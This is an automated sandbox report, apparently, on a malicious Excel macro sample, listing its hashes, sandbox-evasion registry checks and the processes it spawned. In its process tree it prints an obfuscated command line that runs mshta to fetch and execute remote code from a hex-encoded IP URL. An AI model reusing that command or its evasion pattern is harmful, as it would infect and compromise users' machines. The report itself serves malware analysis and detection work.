Analysis
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max time kernel
131s -
max time network
165s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
25-01-2022 15:05
Behavioral task
behavioral1
Sample
561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3.xls
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3.xls
Resource
win10-en-20211208
General
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Target
561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3.xls
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Size
70KB
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MD5
74ef2589b372f105b31d69b352aec951
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SHA1
2f12a5d662ee51bf73e7ddc2e04c7c018f367e36
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SHA256
561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3
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SHA512
a5b2124f45034be6c2450a0623439fddf8251f431057ab004da9601f07f814ff6a5db6dbd74f09486ee5ed129a7c514effb999db0181161acaee856f529c7c4b
Malware Config
Extracted
http://0xb907d607/fer/fe2.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2064 3760 cmd.exe 67 -
Blocklisted process makes network request 1 IoCs
flow pid Process 38 3212 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3760 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3760 wrote to memory of 2064 3760 EXCEL.EXE 71 PID 3760 wrote to memory of 2064 3760 EXCEL.EXE 71 PID 2064 wrote to memory of 3212 2064 cmd.exe 73 PID 2064 wrote to memory of 3212 2064 cmd.exe 73
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3760 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2064 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe2.html3⤵
- Blocklisted process makes network request
PID:3212
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